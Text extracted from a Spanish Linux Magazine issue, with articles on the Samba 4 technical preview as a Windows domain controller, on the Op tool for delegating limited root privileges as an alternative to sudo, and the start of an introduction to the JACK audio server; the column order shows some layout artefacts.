Según el equipo de desarrollo de Samba, la
versión 4.0.0tp1 es capaz de reemplazar a un
PDC. Después de añadir las entradas DNS, no
hay nada que le impida añadir una máquina
Windows al dominio Samba. En nuestro labo-
ratorio, añadimos un Windows 2003 Server
como un servidor miembro. Tras especificar el
dominio e indicarle que la máquina se aña-
diera al dominio, Windows 2003 parecía
sentirse como en casa (véase la Figura 2).
Revisión de SWAT
Los gestores del sistema han sido mejorados y
se han extendido considerablemente. Tras
añadir algunas características nuevas como
Kerberos y LDAP, el equipo de Samba ha dado
algunos pasos para hacer que la vida de los
administradores de sistemas sea más sencilla.
La famosa herramienta, pero apenas utilizada,
SWAT ha renacido en la versión 4: el interfaz
basado en el navegador es ahora una parte
integral de la suite de Samba. Tan pronto
como se haya ejecutado el servidor Samba, un
servidor web compacto de Appweb [5] pro-
porciona la plataforma para SWAT. Esto
elimina la necesidad de instalar SWAT, al con-
trario que en las versiones previas;
simplemente se puede navegar por la herra-
mienta con un navegador de Internet tras
ejecutar el servidor SWAT.
SWAT todavía carece de algunas caracterís-
ticas para ser una interfaz administrativa
completa. Pero definitivamente está preparada
para mostrar que Samba 4 está cumpliendo su
rol de PDC. El usuario por defecto es Adminis-
trator, que se espera que acceda desde un
cliente Windows. Aunque SWAT proporciona
la posibilidad de añadir otro usuario.
Como alternativa, puede que se desee pro-
bar alguna de las numerosas herramientas de
consola: como ldbadd. Téngase en cuenta que
momento de escribir este artículo, no se sabe
cómo lo abordará Samba 4.
Prueba con ControladorDominio PrimarioTras descomprimir el código fuente de
Samba 4.0.0tp1, que se encuentra disponi-
ble en [4], debería buscarse el fichero
howto.txt en el directorio del proyecto; el
fichero contiene algunas notas interesantes.
Tras completar la compilación, primero hay
que preparar la base de datos. La herra-
mienta provision se encarga de esta tarea,
creando la base de datos LDAP, el registro y
las entradas predefinidas para acceder al
LDB y al servidor DNS de servicios de Ker-
beros (véase la Figura 1). Aún habrá que
añadir manualmente algunas entradas de
zonas al servidor DNS. La herramienta
equivalente a provision en Windows se
denomina dcpromo.
Provision también creará un fichero
smb.conf mínimo. Si se le pasa el prefijo
/usr con el script de configuración, una vez
haya finalizado, podrá encontrarse el
fichero de configuración en /usr/lib. Para
mayor control se puede conmutar el servi-
dor Samba a modo interactivo
introduciendo smbd -i -M single; con este
comando se obtienen mensajes en stdout.
Samba 4 soporta tres modos de proceso: se
puede ejecutar como un único proceso, en
modo hilo o como una variante multipro-
ceso. Una vez que el servidor se esté
ejecutando y se haya establecido un
recurso compartido de prueba, testparm
debería proporcionar algo parecido a las
líneas que aparecen en el Listado 1.
ADMINISTRACIÓN • Samba 4
62 Número 20 W W W . L I N U X - M A G A Z I N E . E S
Figura 3: Swat permite establecer un usuario codificado como LDIF; las herramientas de con-
sola proporcionan la misma posibilidad.
Figura 4: La herramienta de consola ldbsearch busca a un usuario.
ldbadd requiere un usuario codificado en
LDIF. Como SWAT no es capaz de manejarlo,
la Figura 3 muestra cómo se añade un usuario
al dominio. La primera vez que este usuario se
conecte al sistema, el registro de Samba reque-
rirá que se cambie la contraseña. SWAT no
soporta políticas de contraseñas en el
momento de escribir este artículo.
Suponiendo que la conexión funcione, las
credenciales del usuario se almacenarán de
forma segura en la base de datos LDB de
Samba. Si se desea comprobar las entradas de
la base de datos o modificarlas, se pueden eje-
cutar la herramientas de consola ldbedit o
ldbsearch. La primera abre la base de datos en
un editor de texto, donde se puede buscar la
entrada del usuario y modificarla si fuera
necesario. La Figura 4 muestra el uso de ldbse-
arch.
Samba 3 poseía la habilidad, bastante útil,
de ser capaz de aceptar un dominio migrado
de un servidor Windows NT y, desde luego,
Samba 4 también puede hacerlo. (Además,
los administradores pueden migrar los domi-
nios de Samba 3 a Samba 4 con SWAT). Este
modo “Vampiro” ya no está solamente restrin-
gido a Windows NT sino que también
funciona con Windows 2000/2003 Server. En
la Figura 5 puede verse cómo hemos migrado
un dominio Windows 2003. Si se desea estar
seguro de que todo ha funcionado, se puede
buscar a un usuario en la base de datos LDB
de Samba para confirmar que el usuario ha
sobrevivido a la migración al nuevo dominio.
La ConfiguraciónLa edición de un fichero de configuración es
un método de prueba y confianza. En Samba
ha crecido notablemente el número de opcio-
nes de los ficheros de configuración. Al
mismo tiempo, han sido eliminadas algunas
de las opciones de Samba 3. No está claro
cuáles son las opciones que han desapare-
cido, ya que algunas de ellas están aún
siendo reprogramadas debido a que ocasio-
naban problemas con las operaciones del
modo de interoperabilidad.
Nuevas palabras reservadas describen el
estado y el comportramiento del KDC,
kpasswd port o krb5 port, por ejemplo. La
opción paranoid server security define un
nivel de seguridad, donde ntvfs handler espe-
cifica cómo debe comportarse la capa
NTVFS.
Por defecto tiene ntvfs = unix-uid, que
sincroniza las operaciones de ficheros con el
sistema de ficheros Posix subyacente.
La opción ntvfs = cifs permite ejecutar
un servidor Samba como una puerta de
enlace CIFS, la cual reenvía las peticiones
de ficheros a otro servidor CIFS. Si la puerta
de enlace es un servidor de miembros de
dominios, podrá redirigir las peticiones de
tickets de los usuarios o servicios:
[extdata]
ntvfs handler = cifs
cifs:server = nextserver
cifs:share = shared
No hay muchos back-ends disponibles para
NTVFS en el momento de escribir este artí-
culo. Además del que he mencionado, el
código fuente tiene una opción simple, sin
embargo, la opción realiza operaciones de
ficheros con los privilegios del root, lo que
la hace poco útil. Si se necesita más infor-
mación sobre las opciones de samba.conf,
véase el código fuente de
source/param/loadparm.c.
Déjalo SoloA pesar de todo, parece que Samba 4 se
está librando de las sogas que lo atan a su
herencia. Además de LDAP y Kerberos, el
software puede manejar ACLs más allá de
Posix y posee su propio emulador de Servi-
dor de Directorio Activo. Samba4WINS
proporciona servicios de replicación para
servidores WINS. Hay tres modelos para
mejorar la escalabilidad: proceso único,
múltiples procesos como en Samba 3 o una
variante basada en hilos.
El “Technical Preview” que hemos leído
nos dio la impresión de que parecía una
plataforma de prueba de nuevas
tecnologías. No posee todo el rango de
características que se necesitaría para un
sistema en producción, por ejemplo, ya que
el soporte de impresión no está disponible.
Los desarrolladores no recomiendan la
instalación de Samba 4 en entornos de
producción hasta que ellos no hayan
concluido su trabajo. Una nota de prensa
indica que esto no sucederá como mínimo
hasta pasado el verano.
La versión 4 no es lo único que tiene a
los desarrolladores de este proyecto ocu-
pados; también está la cuestión de la
versión SMB2 no documentada de Win-
dows Vista, que tiene un diseño
completamente nuevo. Si el caso antimo-
nopolios de la UE contra Microsoft falla a
la hora de obligar a la compañía a publi-
car los interfaces, el equipo de Samba
estará encantado de volver a sus antiguas
usanzas, espiando las transferencias de
ficheros con Ethereal. �
Samba 4 • ADMINISTRACIÓN
63Número 20W W W . L I N U X - M A G A Z I N E . E S
Figura 5: Swat tras realizar una migración con éxito de un dominio Windows 2003.
[1] Samba: http://samba.org
[2] Directorio Activo: http://www.
microsoft.com/technet/prodtechnol/
windows2000serv/technologies/
activedirectory/default.mspx
[3] Samba4WINS: http://
EnterpriseSamba.org/index.
php?id=88
[4] Samba 4.0.0tp1: http://devel.samba.
org/samba/ftp/samba4/
[5] Servidor Web Appweb: http://www.
appwebserver.org
RECURSOS
Linux es un sistema multiusuario en el
que el acceso a la cuenta privilegiada de
root está bien protegido en muchas
máquinas. Los privilegios de los usuarios nor-
males a menudo son insuficientes para
montar un CD o una memoria USB. Algunas
distribuciones incluso requieren de los privile-
gios de root para el acceso a Internet.
Si el usuario principal es también el admi-
nistrador, algo normal en la mayoría de los
PCs, tan sólo hay que teclear su e introducir la
contraseña de root para obtener los privilegios
requeridos, pero una vez obtenidos dichos pri-
vilegios como root con su, todos los
comandos siguientes tendrán la potencia del
superusuario, y si se está trabajando simple-
mente como root cualquier pequeño error
puede tener efectos devastadores.
Una solución a este problema es un escena-
rio en el que el usuario asume solamente unos
cuantos privilegios de root especificados por el
administrador. Por ejemplo, se le puede per-
mitir montar una memoria USB sin tener que
acceder a otros comandos específicos de root.
La herramienta sudo es el medio normal
para asignar privilegios administrativos a los
usuarios sin tener que darle la contraseña de
root, pero una herramienta alternativa deno-
minada Op hace que este proceso sea más
sencillo tanto para el administrador como para
el usuario.
Sudo: El Legado de unaHerramientaEl comando sudo [2] proporciona una solu-
ción al problema, permitiendo que los
usuarios normales puedan ejecutar determi-
nados comandos de root especificados por el
administrador.
Algunas distribuciones Linux (por ejemplo,
Ubuntu y Knoppix) utilizan actualmente
sudo para hacer que el usuario estándar sea el
administrador, añadiendo una entrada de la
forma nombre_de_usuario ALL = (root) al
fichero de configuración /etc/sudoers.
En este caso, cualquier usuario puede
ejecutar arbitrariamente comandos como root
tecleando la palabra sudo delante de la
sintaxis del comando; por ejemplo, el
comando sudo killall -9 comando matará
todos los procesos denominados comando.
Cuando se introduce una instrucción de este
tipo, sudo solicita que el usuario teclee su
propia contraseña antes de ejecutar el
comando con los privilegios de root.
Sudo puede ser útil si se desea una solución
más versátil para especificar quién tiene per-
miso para ejecutar ciertos programas.
Imaginemos que se quiera asignar a un usua-
rio llamado abc el permiso para ejecutar el
comando tail -f /var/log/messages; sólo hay
que añadir la siguiente línea al fichero
/etc/sudoers:
abc ALL = (root) /usr/bin/tail U
-f /var/log/messages
por supuesto, el usuario tendrá que teclear el
comando exactamente tal y como se muestra
aquí, aunque sudo no presentará ningún pro-
blema si el comando contiene unos cuantos
espacios en blanco. Pero si no se pone el pará-
metro -f, se cambia el orden, y se podrá ver el
siguiente mensaje de error:
[abc@kira ~]$ sudoU
/usr/bin/tailU
/var/log/messages -f
Sorry, user abc isU
not allowed to
execute ‘/usr/bin/tail /var/log/
messages -f’ as root on kira.
Con la sintaxis correcta no hay ningún pro-
blema:
[abc@kira ~]$ sudoU
/usr/bin/tailU
-f /var/log/messages
Mar 31 14:13:39 kira — MARK —
Mar 31 14:33:39 kira — MARK —
[...]
Los usuarios con privilegios sudo deben
recordar la sintaxis exacta de cada
comando que estén autorizados a
ADMINISTRACIÓN • Op
64 Número 20 W W W . L I N U X - M A G A Z I N E . E S
Asignación de Privilegios Root con Op
ROOT SIMPLELa versátil utilidad Op es una herramienta sencilla para la gestión de los
privilegios de los usuarios. POR HANS-GEORG ESSER
ejecutar, o pueden teclear sudo -l para
comprobar sus opciones:
[abc@kira ~]$ sudo -l
User abc may run the following U
commands on this host:
(root) /usr/bin/tail -f U
/var/log/messages
Cada llamada incorrecta a sudo genera
una entrada en el registro, y en algunas
máquinas enviará un correo al adminis-
trador del sistema.
La Alternativa OpLa herramienta Op es una alternativa a
sudo poco conocida, con el beneficio
añadido de simplificar la configuración,
que presenta una solución más intuitiva
para ejecutar comandos. Todo lo que se
necesita para los comandos simples es
una única línea: la sintaxis general de
una entrada del fichero de configuración
de Op es la siguiente:
nuevo_comando comando; opciones
Por ejemplo, si se desea que el usuario
abc pueda apagar la máquina ejecutando
el comando halt, la siguiente línea se
encargará de ello:
halt /sbin/halt; users=abc
Si se desea que el
usuario tenga que
teclear su propia
contraseña para
autorizar la ejecu-
ción del comando
(siguiendo la solu-
ción tradicional de
sudo), tan sólo hay
que añadir la opción
password a la línea:
halt /sbin/halt;
users=abc U
password
Esto permite que
pueda configurarse
Op para las tareas críticas en cuestión de
minutos. Téngase en cuenta que hay que
especificar la ruta completa de los coman-
dos en cuestión (por ejemplo, /sbin/halt en
vez de halt en nuestro ejemplo). El usuario
abc puede teclear op halt en el intérprete de
comandos para apagar el PC.
Compilando la HerramientaHay que seguir los pasos estándar para
compilar Op; no hay que olvidar pasarle las
dos opciones siguientes a configure:
./configure U
—prefix=/usr U
—sysconfdir=/etc
make
make install
Sin la opción prefix se
instalará en /usr/local; y
sin la opción —sysconf-
dir, buscará los ficheros
de configuración en
$PREFIX/etc/.
En nuestro laboratorio
no tuvimos ningún pro-
blema instalando la
versión actual (1.32) de
Op en una máquina Suse
Linux 9.3; en Debian
Sarge hay que ejecutar
apt-get install flex antes
que make.
EjemplosPara crear un directorio
de configuración para Op
se teclea mkdir -p
/etc/op.d, luego se crea el
fichero de ejemplo
/etc/op.d/log.conf, tal y como se muestra en
el Listado 1, y con el comando chmod 600
/etc/op.d/log.conf se modifican los privile-
gios. El acceso de lectura y escritura de este
fichero está restringido al usuario root. Si se
nos olvidara la ejecución de chmod, el pro-
grama no funcionaría (y mostraría además
un confuso mensaje de error indicando que
no puede encontrar el fichero de
configuración).
Las dos líneas en el Listado 1 crean dos
comandos nuevos, messages y syslog. El lis-
tado especifica la ruta completa de cat,
/bin/cat, ya que Op no será capaz de
encontrar la herramienta si no se le propor-
ciona la ruta completa.
Scripts OpUna de las características más útiles es la
posibilidad de añadir scripts de la línea de
comandos al fichero de configuración. El
Listado 2 muestra un ejemplo que define el
comando Op, log, que permite leer los
ficheros /var/log/messages y /var/log/syslog
a los usuarios autorizados. Los scripts
pueden analizar y evaluar los argumentos;
al igual que los scripts normales y
corrientes, utilizan variables de entorno $1,
$2 … para esta tarea. El segundo comando
del Listado 2, apache, permite a un usuario
ejecutar y parar los servicios de Apache. El
Op • ADMINISTRACIÓN
65Número 20W W W . L I N U X - M A G A Z I N E . E S
Figura 1: El sitio web de Sudo contiene información detallada de la
configuración.
Figura 2: El sitio web de Op proporciona amplia información de la
configuración.
01 messages /bin/cat
/var/log/messages; users=abc
02 syslog /bin/cat
/var/log/syslog; users=abc
Listado 1: Comienzo con Op
Usuarios ExternosEs fácil verificar que Op sólo permite a
los usuarios especificados en users = la
ejecución de los comandos privilegiados;
para ello, se puede ejecutar el comando
como el usuario nobody:
amd64:# su - nobody
nobody@amd64:~> op -l
nobody@amd64:~> op log messages
log: permission denied by op
El listado de comandos Op permitidos
para el usuario nobody está vacío y la
herramienta presenta un mensaje de
aviso cuando éste usuario intenta ver
los ficheros de registro, generando una
entrada en el fichero de registro
/var/log/auth.log o en /var/log/messa-
ges:
Feb 8 14:56:52 amd64 op[4716]:
nobody log messages: Both user,
group and netgroupU
authentication failed
Grupos de UsuariosAl igual que sudo, Op puede agrupar
múltiples usuarios y luego autorizarles o
revocarles privilegios. Supongamos que
se tienen tres usuarios, abc, def y ghi, y
se quiere que realicen varias tareas en el
sistema; pueden añadirse estos usuarios
a un grupo ADMINS con una entrada
como la siguiente:
ADMINS=(abc|def|ghi)
Para todos los atajos de comandos que
se quieran asignar a estos usuarios, tan
sólo hay que especificar users =
ADMINS. Si se necesita posteriormente
añadir un cuarto administrador, jkl, al
grupo o definir un nuevo comando para
el grupo, sólo habrá que modificar una
línea del fichero de configuración.
Más CaracterísticasOp puede gestionar múltiples máquinas
(referenciando los nombres de las
máquinas), permitiendo a los adminis-
tradores configurar el comportamiento
de varios ordenadores en un fichero de
configuración Op central.
Op posee particularmente la versátil
característica de pasar las variables de
entorno a los programas que ejecuta
con los privilegios de root. Si no se
especifica ningún otro parámetro, Op
borra todas las variables de entorno
antes de ejecutar un comando.
La opción environment lo impide y
pasa todas las variables. Como alterna-
tiva, se pueden especificar
manualmente un conjunto de variables
que se deseen mantener añadiendo sus
nombres de la forma $Nombre (con el
signo de dólar como prefijo). El Listado
3 proporciona un ejemplo del uso de
estas variables.
El comando test simplemente llama al
programa env, que muestra un listado
de todas las variables de entorno.
ConclusionesOp es una herramienta potente con fun-
ciones similares a sudo, pero con una
configuración más sencilla y con un uso
más intuitivo que hace que la vida de
los administradores y de los usuarios
sea más fácil, incluso si ambos son la
misma persona. �
script para el comando log define la
variable $TERM para permitir el
funcionamiento del comando less.
Las nuevas definiciones de comandos
hay que almacenarlas en /etc/op.d/ (de
nuevo, el acceso de lectura debe estar
restringido sólo al usuario root); como
alternativa, pueden almacenarse todas
las definiciones de comandos en un
único fichero.
El parámetro -l de Op muestra los
comandos que se pueden ejecutar, el
programa esconde estos comandos al
resto de los usuarios. El script captura
los errores de entrada y le indica al usua-
rio que sólo puede ver los ficheros de
registro messages y syslog:
abc@amd64:~> op -l
apache Start and stop Apache
log View logfiles (messages U
and syslog only)
abc@amd64:~> op log security
op: You are notU
allowed to view U
the ‘security’ logfile
Los scripts Op son una ventaja que este
programa tiene sobre sudo: para obtener
los mismos resultados, se necesitaría
escribir un script, almacenarlo en el sis-
tema de ficheros (por ejemplo, en
/usr/local/bin) y luego darle permisos a
los usuarios para que puedan ejecutar el
script en /etc/sudoers. Si se producen cam-
bios habría que modificar ambos scripts y
el fichero de configuración de sudo.
ADMINISTRACIÓN • Op
66 Número 20 W W W . L I N U X - M A G A Z I N E . E S
01 test /usr/bin/env;
02 users=abc
03 $LANG $TERM $SHELL $PATH
Listado 3: Op con Variables
[1] Sitio Web de Op: http://svn.swapoff.
org/op/
[2] Sitio Web de Sudo: http://www.sudo.
ws/sudo/
RECURSOS
01 log /bin/sh -c ‘
02 export TERM=xterm
03 case $1 in
04 messages) less /var/log/messages ;;
05 syslog) less /var/log/syslog ;;
06 *) echo “op: You are not allowed to read the logfile \’$1\’” ;;
07 esac
08 ‘;
09 users=abc
10 help=”View logfiles (messages and syslog only)”
11
12 apache /bin/sh -c ‘
13 case $1 in
14 start|stop) /etc/init.d/apache $1 ;;
15 *) echo “op: apache only understands start and stop” ;;
16 esac
17 ‘;
18 users=abc
19 help=”Start and stop the Apache server”
Listado 2: Arranque y Parada de Apache
6767ISSUE 52 MARCH 2005W W W . L I N U X - M A G A Z I N E . C O M
Bienvenidos a Linux UserEsta es la sección dedicada a la presentación de software interesante y útil que nos ayuda en nuestro quehacer diario con
el escritorio Linux. Aquí aprenderemos a utilizar software estándar de una manera más eficiente, adquiriremos valiosos
conocimientos y descubriremos nuevas y apasionantes aplicaciones.
Audio con JACK 68
El servidor de audio JACK ofrece una alternativa profe-sional para el sonido del escritorio Linux. Enseñamos aconfigurarlo y cómo sacarle todo su partido
Desktopia: Xrmap 74
Si deseas llegar a convertirte en un experto en geografíamundial, descarga Xrmap y navega por el libro de datosde la CIA.
Banshee 76
En la mitología celta, las llamadas de duelo del Bansheese oyen cuando un miembro de la familia está próximoa morir. La herramienta Banshee de Linux tambiénhace ruido, pero afortunadamente mucho más alegre.Este otro Banshee te ayuda a organizar (y reproducir)tu colección de música.
Educación: La traducción del software libre 79
En la primera entrega de esta serie hemos hablado de latecnología gettext; ahora es el momento de resumir susventajas pero también de señalar sus defectos. Quétriste sería el artículo si no pudiéramos hablar tambiénde las soluciones, de las alternativas…
Línea de comandos: Rsync 84
Rsync permite sincronizar datos tanto en un ordenadorlocal como en uno remoto. Incluso puede ser usado conSSH para la encriptación de datos.
Juegos: Cold War 86
El género del sigilo se estrena en nuestra plataformalinux y lo hace realmente a lo grande y desde la antiguaRusia damos la bienvenida a Cold War.
aplicaciones favoritas de KDE o
GNOME incluyen rutinas para el
acceso de esos servicios a través de
la interfaz de programación de la
aplicación X. Los programadores
pueden programar para el hardware
a través de una API general en lugar
de tener que escribir código para el
hardware directamente. Por
desgracia, el sonido del escritorio
Linux carece de una solución
estandarizada única que sirva para
todo el sistema de recursos de audio.
En su lugar han aparecido un gran
número de soluciones, incluyendo
sistemas como JACK, NAS, artds y
esd.
Al poner en marcha el sistema de
sonido, para oír un CD, DVD o gra-
baciones sencillas, las exigencias de
un servidor de audio son relativa-
mente poco importantes. La
administración de algunos flujos de
audio en este nivel no requiere una
sincronización de prueba apropiada,
ni tampoco necesita un sistema de
cliente altamente flexible. La mayo-
ría de los usuarios simplemente
quieren que les permita grabar audio
sin que se bloqueen otros flujos de
audio. Artsd y esd son servidores de
sonido diseñados para encontrar
estos requerimientos para los escri-
torios KDE y GNOME. NAS (Network
Audio System) es un sistema de red
amigable alternativo de distribución
de audio cliente/servidor que pre-
tende servir como un equivalente de
audio de un servidor X. Dentro de
sus límites, Artsd, esd y NAS son efi-
caces. Sin embargo, ninguno de
estos servidores proporcionan flujos
de datos de audio múltiples de E/S
sincronizada de prueba apropiada ni
fueron diseñados para trabajar den-
tro de sistemas de bajo estado
latente. Si nuestro audio requiere de
estas altas capacacidades, será pre-
ciso adentrarse dentro del dominio
de los sistemas de audio profesiona-
les, por lo que es el momento idóneo
para conocer JACK.
Introducción a JACK
El desarrollador Paul Davis ha
creado una de las más destacadas
piezas de software de audio de
código abierto, el kit de Conexión de
68
LINUX USER • Jack
68 Número 20 W W W . L I N U X - M A G A Z I N E . E S
La mayoría de los usuarios
Linux saben que un servidor
ofrece servicios, ya sea en
una sola máquina o en una red. El
propósito de un servidor es eliminar
la necesidad de acceder directa-
mente a esos servicios a nivel de
aplicación. Por ejemplo, un servidor
X administra los accesos y controla
los servicios de vídeo de los chipsets
gráficos del ordenador, quitando un
peso de encima a los desarrolladores
de la aplicación a nivel de usuario,
que se evitan tener que programar
para aquellos servicios directa-
mente.
Un servidor de audio administra el
acceso a las capacidades y servicios
de los dispositivos de audio instala-
dos. Estos dispositivos de audio
incluyen tarjetas de sonido, chips de
audio internos, así como cualquier
otro hardware de audio (tales como
hardware de telefonía, tarjetas A/V
combinadas, televisión y tarjetas de
radio).
El escritorio gráfico de Linux
depende de X para sus gráficos y
servicios de vídeo. Es decir, sus
Exploración del sistema de servidor de sonido JACK
¿CONOCES A JACK?Exploración del sistema de servidor de sonido JACK
¿CONOCES A JACK?
El servidor de audio JACK ofrece una alternativa profesional para el
sonido del escritorio Linux. POR DAVE PHILLIPS
69
Jack • LINUX USER
69Número 20W W W . L I N U X - M A G A Z I N E . E S
Audio de Jack, mejor conocido como
JACK. Este programa está
especialmente diseñado para
sistemas configurados para baja
latencia y alta demanda. Los
sistemas de grabación de audio
profesionales no pueden
proporcionar retrasos audibles ni
caídas (conocidas como xruns), se
les exige que soporten operaciones
sincrónicas de clientes múltiples en
un entorno de baja latencia.
JACK viene con diversas caracte-
rísticas como:
• soporte para cualquier disposi-
tivo de sonido compatible ALSA
• soporte para una gran variedad
de programas de fondo de siste-
mas de audio (ALSA; O~/Linux,
Port-Audio, CoreAudio)
• conectividd libre entre clientes,
sin retrasos ni caídas
• soporte para un sistema de con-
trol de transporte maestro
Una de las tareas principales de
JACK es la administración de flujos
múltiples de datos de audio, que
pasa por una variedad de aplicacio-
nes con E/S sincronizada. Este
programa requiere un sistema de
audio, no se trata de un sustituto de
un sistema de audio como ALSA o
OSS/Linux. JACK no proporciona
drivers para tarjetas de sonido ni
tampoco acceso al hardware directa-
mente. En vez de eso, depende de
una capa de audio de bajo nivel para
manipular esa comunicación, que en
Linux no es más que ALSA o OSS. A
JACK no le preocupa el hardware
subyacente o primordial, única-
mente quiere administrar los flujos
que entran y salen de sus dispositi-
vos.
Compilación eInstalación de JACKJACK está disponible como un
paquete básico en los sistemas opti-
mizados para audio como AGNULA/
Demudi y Planet CCRMA. En su
página web también se encuentra
disponible una tarball de las fuentes
de la última edición pública. Esta
página proporciona además instruc-
ciones para compilar JACK desde
fuentes CVS para los que desean
probar la versión de
desarrollo más
reciente. Para su
compilación no se
necesitan requeri-
mientos especiales
más allá de la libre-
ría E/S del fichero de audio
libsndfile de Erik de Castro Lopo.
Según el FAQ de JACK se debe dis-
poner del kernel de Linux más
reciente (2.4 ó superior) con el sis-
tema de fichero tmpfs conectado.
Las distribuciones más modernas
dispondrán de este sistema de fiche-
ros por defecto, pero puedes
comprobarlo ejecutando cat /proc/
filesystems. El FAQ también dice que
debe montarse un sistema de fiche-
ros de memoria compartida en /dev/
shm, aconsejando que se añada la
siguiente línea a /etc/fstab:
shmfs /dev/shm shm ~~
defaults 0 0
Además, la FAQ avisa de que puede
que uno mismo tenga que crear el
directorio /dev/shm.
Tras desempaquetar las fuentes, sim-
plemente hay que introducirse en el
nuevo directorio JACK, leer el
README para actualizarse con las ins-
trucciones e invocar ./configure —help
para ver las opciones de configuración
disponibles. JACK se compila con las
utilidades de autotools con las que
todo buen usuario de Linux debería
estar familiarizado, así que para la
mayoría de los usuarios el proceso de
compilación es tan fácil como el de
ejecución de ./configure [aquí tus
opciones];make;make install.
La instalación de JACK desde un
RPM u otro paquete tampoco
Figura 1: Control de JACK desde QjackCtl.
La industria de audio distingue entre dis-
positivos de audio profesionales y de
consumo. Los dispositivos de consumo
incluyen interfaces de audio PCI y USB,
chipsets internos integrados para orde-
nadores de sobremesa y el soporte de
sonido para portátiles, y hardware más
avanzado como las tarjetas SB Live! de
Creative y Audigy. Estos dispositivos
normalmente proporcionan canales
para un control de volumen principal,
salida de audio PCM y CD, y entradas
para micrófonos y señales de nivel de
línea. El volumen maestro, CD, mic, y los
canales de línea no requieren ninguna
explicación. El canal PCM es un canal de
reproducción de audio digital general
que ofrece control de volumen para pro-
gramas que reproducen WAV, AIFF,
OGG, MP3 y otros tipos de ficheros de
sonido.
Dependiendo del chip de audio, estos
servicios básicos se expanden para
incluir canales para salida de sintetizador
interno, conexiones de audio digitales,
canales de sonido circundantes y contro-
les de tono ba~/treble. Los mezcladores
basados en software, como alsamixer,
llaman al hardware de audio para anali-
zar sus capacidades y configuran el
mezclador para presentar los canales y
botones disponibles. Es decir, el chip de
audio CS4232 de mi portátil, soporta
poco más que los servicios básicos,
mientras que el SBLive de mi máquina
de sobremesa proporciona una abanico
de funcionalidades mucho mayor.
Las tarjetas de audio profesionales, tales
como RME Hammerfall o las tarjetas M-
Audio Delta, se diseñan para satisfacer
diferentes necesidades, ofreciendo una
conectividad de audio de la más elevada
calidad tales como AES/EBU y plugs
nivelados 1/4”, un gran número de cana-
les de audio de E/S, proporciones de
muestreo elevadas y capacidades de sin-
cronización de hardware. Estas tarjetas
de calidad profesional pueden o no
incluir hardware de conectividad MIDI, y
normalmente no incluyen funcionalida-
des para el consumidor, tales como
sintetizador interno o conector para
salida de audio del CD.
La diferencia entre ambos tipos se desdi-
buja si consideramos algunos
dispositivos avanzados pensados para el
mercado de consumo, y ciertamente es
posible alcanzar resultados de elevada
calidad con algunas de las más moder-
nas tarjetas de sonido. Sin embargo,
para resultados profesionales no hay
duda de que se necesitará hardware de
audio profesional.
Tarjetas de Sonido
LINUX USER • Jack
70 Número 20 W W W . L I N U X - M A G A Z I N E . E S
La primera vez que uno se encuentra con
JACK posiblemente se sienta confundido
por algunas de sus opciones. El breve suma-
rio que sigue servirá de ayuda para trabajar
con este fabuloso servidor.
En primer lugar, los parámetros de
configuración:
• -R, —realtime: Arranque de JACK con
programación de tiempo real prioritario.
Normalmente, esta opción estará habili-
tada, aunque hay que tener en cuenta de
que funciona solamente si se trabaja
como superusuario o se está ejecutando
un kernel que concede privilegios de
superusuario a usuarios normales. Los
kernels de distros como AGNULA/
Demudi y Planet CCRMA están prepara-
dos para este estado, aunque cualquier
kernel puede ser parcheado y modificado
para baja latencia con capacidades de
superusuario habilitadas. Jack O’Quin me
indicó que JACK solamente necesita pri-
vilegios de superusuario para
programación de tiempo real y bloqueo
de memoria. Pregunté a los miembros de
la lista de Linux Audio Users si había razo-
nes de peso para no usar la opción
realtime, y comprendí que JACK es útil
aún en sistemas sin capacidades de
tiempo real, por eso la opción. Además,
puede que desees apagar las capacida-
des de tiempo real en el caso de que se
estén probando o buscando errores en el
sistema.
• -m, —no mlock: Indica a JACK que man-
tenga la memoria sin bloquear. Paul Davis
explicó que esta opción podría ser útil
cuando se ejecuta JACK en tiempo real en
un sistema cuya memoria física RAM está
siendo consumida por JACK y sus clien-
tes.
• -u, —unlock: Desbloquea la memoria
requerida por herramientas gráficas
(GTK, QT, FLTK, WINE, etc.). De nuevo,
esta opción es útil para máquinas con
poca memoria (física RAM), aunque espe-
cialmente útil para usuarios ejecutando
plugins VST/VSTi y otras aplicaciones
dependientes de WINE. En algunos
casos, tales aplicaciones no se ejecutan
hasta que se selecciona esta opción.
• -s —softmode: Ignora los xruns presenta-
dos por un driver ALSA, haciendo menos
probable que JACK desconecte puertos
que no responden cuando se ejecuta sin
estado de tiempo real. Debería seleccio-
narse esta opción para evitar que se
produzcan demasiadas notificaciones de
error. Esta opción también es valiosa para
ejecuciones live.
• -S, —shorts: Fuerza a las E/S de JACK a 16
bits. Como manifestó Lee Revell, el trata-
miento interno de JACK se realiza
siempre en 32 bits y, por defecto, intentará
establecer la resolución de bits en sus eta-
pas de entrada y salida a 32, 24 y 16, en
este orden, informando de cada éxito o
fallo con cada intento. Los usuarios con
tarjetas que se saben funcionan óptima-
mente a 16 bits deberían usar esta opción
para evitar notificaciones de error.
• -H, —hwmon: Habilita el control de hard-
ware de los puertos de toma de ALSA,
proporcionando control de latencia cero
de entrada de audio. Requiere soporte
hardware y el driver del dispositivo. El
manual de jackd dice cuando se habilita
esta opción, “las demandas para contro-
lar los puertos de toma se satisfacerán
mediante la creación de una ruta de señal
directa entre la entrada de interfaz de
audio y los conectores de salida, sin su
procesamiento por parte del ordenador
anfiitrión. Esto ofrece la latencia más baja
posible para la señal monitorizada”.
• -M, —hwmeter: Otra opción exclusiva-
mente para ALSA. Habilita un contador
de hardware si es soportado por la tarjeta
de sonido. Paul Davis observa que esta
opción se usa con muy poca frecuencia y
probablemente sea eliminada en futuras
versiones.
• -z, —dither: El “dithering” es un proceso
que minimiza los efectos colaterales no
deseados al reducir un bit de profundidad
de un fichero de audio. El ruido de bajo
nivel está mezclado en una señal para
escoger al azar errores de cuantificación
de audio digital, transformando distorsio-
nes digitales desagradables y audibles en
algo más cercano semejante a un ruido
analógico. Según Paul Davis, el dithering
es especialmente útil cuando la salida de
la tarjeta de sonido es inferior a una reso-
lución de 24 bits y se ejecuta JACK en el
rate de sampleado real del hardware.
• -P, —realtime-priority: Establece la priori-
dad de programación de tiempo real.
Normalmente puede dejarse un valor por
defecto de 10 para esta configuración. Si
el kernel incluye preempción (por dere-
cho de prioridad), en tiempo real, puede
establecerse este valor al menos en 70
para mantener a JACK ejecutándose y
libre de interrupciones de handlers.
• -p, —port-max: Establece el número
máximo de puertos de salida. Esta opción
es especialmente valiosa para gente que
usa muchas pistas en Ardour. Por defecto,
128 debería ser suficiente para la mayoría
de los usuarios. QjackCt permite seleccio-
nar 512 puertos, aunque, hay muchos
más disponibles simepre y cuando se dis-
ponga de la memoria suficiente.
